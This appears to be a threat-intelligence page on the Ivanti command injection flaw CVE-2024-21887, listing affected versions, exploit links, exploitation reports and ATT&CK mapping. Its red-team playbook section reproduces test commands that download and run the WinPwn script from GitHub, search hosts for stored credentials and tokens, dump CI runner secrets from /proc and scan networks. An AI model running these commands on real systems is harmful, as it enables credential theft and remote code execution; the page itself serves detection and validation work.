CVE-2024-21887

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 12/01 Upd 04/08

Overview

This vulnerability is a command injection flaw rooted in improper input validation within the web components of Ivanti Connect Secure and Ivanti Policy Secure appliances. Specifically, authenticated administrator requests are insufficiently sanitized, allowing crafted input to be executed as system commands. The affected components are the web interfaces of Ivanti Connect Secure versions 9.x and 22.x and Ivanti Policy Secure versions 9.x and 22.x.

Vulnerability Description

A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.

Impact

An attacker with administrator access can execute arbitrary system commands on the affected appliance, enabling full control over the device. This can lead to unauthorized data access, manipulation of security policies, and potential pivoting within the network. The prerequisite is possession of valid administrative credentials, which may be obtained through other means. The business impact includes compromise of the appliance integrity, disruption of secure gateway functions, and potential exposure of sensitive network traffic.

Solution

Ivanti has released security updates addressing this command injection vulnerability in Ivanti Connect Secure and Ivanti Policy Secure appliances. Administrators should apply the latest patches available for versions 9.x and 22.x as detailed in Ivanti’s security advisory at https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways. Following vendor instructions for upgrading to patched firmware versions is required to remediate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (81)

Vendor Product Version CPE
ivanti Ivanti Connect Secure 9.0 cpe:2.3:a:ivanti:connect_secure:9.0:*:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r10:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r11.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r12:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r12.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r13:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r13.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r14:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r15:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r15.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r16:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r16.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r17:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r17.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r18:*:*:*:*:*:*
ivanti Ivanti Connect Secure 9.1 cpe:2.3:a:ivanti:connect_secure:9.1:r2:*:*:*:*:*:*
+61 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (2)

Module Authors Rank Platform Link
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2024_21893
sfewer-r7 Unknown - View
Ivanti Connect Secure Unauthenticated Remote Code Execution
exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805
sfewer-r7 Unknown - View

GitHub PoCs (9)

Repository Author Stars Forks Date Link
Chocapikk/CVE-2024-21887
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, ...
Chocapikk 58 13 2024-01-16 View
duy-31/CVE-2023-46805_CVE-2024-21887
An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a re...
duy-31 23 4 2024-01-16 View
seajaysec/Ivanti-Connect-Around-Scan
Mitigation validation utility for the Ivanti Connect Around attack chain. Runs multiple checks. CVE-2023-46805, CVE-2024...
seajaysec 12 3 2024-01-19 View
oways/ivanti-CVE-2024-21887
POC Checker for ivanti CVE-2024-21887 Command injcetion
oways 7 1 2024-01-14 View
Hexastrike/Ivanti-Connect-Secure-Logs-Parser
A Python script for examining Ivanti Secure Connect (ICS) event logs, designed to support investigations into vulnerabil...
Hexastrike 6 1 2025-01-19 View
raminkarimkhani1996/CVE-2023-46805_CVE-2024-21887
The script in this repository only checks whether the vulnerabilities specified in the Ivanti Connect Secure product exi...
raminkarimkhani1996 5 1 2024-01-18 View
rxwx/pulse-meter
Parses the System Snapshot from an Ivanti Connect Secure applicance to identify possible IOCs related to CVE-2023-46805,...
rxwx 1 1 2025-01-14 View
PoC
- 0 0 - View
pwniel/ivanti_shell
CVE-2024-21887 Exploitation with Ngrok Reverse Shell
pwniel 0 0 2024-02-24 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest VERY HIGH
Sightings Extensive activity

Ransomware Groups 2

dragonforce
CONFIRMED
667 victims
ransomware.live
2026-09-21
0apt
CONFIRMED
ransomware.live
2026-09-21

Threat Feed

39 events
2026-11-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-14
Exploited by Salt Typhoon

Ransomware group known to exploit this vulnerability

2026-10-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-21
Exploited by dragonforce

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (667 known victims)

2026-09-21
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-09-21
Exploited by dragonforce

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (667 known victims)

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2024-01-14
PoC Published (9 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-01-10
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-01-10
Exploit Published (0 ExploitDB, 2 Metasploit)

Public exploit code is available for this vulnerability

Detected as Exploited in the Wild (513 sightings)

Active exploitation confirmed with 513 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
43% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-248 Command Injection
55%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
42%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
35%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
35%
High Very High

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell)
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (1)

Mentions (50)

0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100

  • social bsky.app @vulnsea.com 2026-08-04 09:01 UTC
    🌑 HADAL · actively exploited critical CVE-2024-21887: A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.… CVSS 9.1 · EPSS 100.0% · CISA KEV · 0day https://beta.vulnsea.com/…
    Open source
  • social bsky.app @faisalyahya.com 2026-06-23 15:03 UTC
    Look at the Ivanti Connect Secure zero-days (CVE-2023-46805 & CVE-2024-21887). An auth bypass chained with command injection. Security teams begged for emergency patching.
    Open source
  • advisory rapid7.com 2026-06-16 07:00 UTC
    Rapid7 Analysis: CVE-2023-46805 - Rapid7
    Open source
  • social bsky.app @aegisbot.bsky.social 2026-06-01 12:00 UTC
    🔍 Top signals this week: CVEs: CVE-2026-0257, CVE-2026-45659, CVE-2023-46805, CVE-2024-21887, CVE-2020-1472 Actors: Apt, Ransomware, Play Full intel: https://matlock.ca/cybersecnews
    Open source
  • social bsky.app @potato.software 2026-04-24 01:03 UTC
    CVE-2023-46805 is actively exploited in Ivanti Connect Secure and Policy Secure gateways. When chained with CVE-2024-21887, attackers gain unauthenticated RCE and full VPN appliance compromise, posing critical enterprise perimeter risk. Re…
    Open source
  • social bsky.app @thecybermind.co 2026-04-24 01:03 UTC
    CVE-2023-46805 is actively exploited in Ivanti Connect Secure and Policy Secure gateways. When chained with CVE-2024-21887, attackers gain unauthenticated RCE and full VPN appliance compromise, posing critical enterprise perimeter risk. Re…
    Open source
  • social bsky.app @discover.holos.social.web.brid.gy 2026-04-24 01:03 UTC
    Open source
  • social bsky.app @blackhatnews.tokyo 2026-02-08 07:36 UTC
    ファイブ・アイズ、Ivantiの脆弱性悪用に警告 検知ツールは不十分 Ivantiの脆弱性に関する詳細はこちら: Ivantiのゼロデイ2件が実環境で積極的に悪用 Ivantiのゼロデイが世界各地で複数の攻撃者により悪用 Ivantiのゼロデイを悪用するRustペイロード、高度なSliverと関連 Ivanti、ゼロデイのパッチを公開し新たなバグ2件を公表 最新のIvantiゼロデイ、数十のIPにより悪用 セキュリティ懸念が拡大する中、新たなIvanti脆弱性が広範に観測…
    Open source
  • social bsky.app @blackhatnews.tokyo 2026-02-07 22:29 UTC
    CISA、ソフトウェアメーカーにOSコマンドインジェクション脆弱性の排除を要請 米国政府は、ソフトウェアメーカーに対し、オペレーティングシステム(OS)のコマンドインジェクション脆弱性の排除に向けて取り組むよう求めた。 サイバーセキュリティ・インフラストラクチャ安全保障庁(CISA)とFBIによるこの警告は、2024年に複数の著名な脅威アクターのキャンペーンが、ネットワークエッジデバイスにおけるOSコマンドインジェクションの欠陥を悪用してユーザーを侵害したことを受けて発出さ…
    Open source
  • social bsky.app @aimainainnu.bsky.social 2025-12-10 03:35 UTC
    MetaRATを利用した日本組織を狙った攻撃キャンペーン | LAC WATCH - 株式会社ラック 攻撃者グループは、初期侵入手段として標的組織のICSに存在する脆弱性(CVE-2024-21893およびCVE-2024-21887)を悪用し、対象機器にマルウェアを設置しました。 www.lac.co.jp/lacwatch/rep...
    Open source
  • social bsky.app @undercodenews.bsky.social 2025-12-09 10:28 UTC
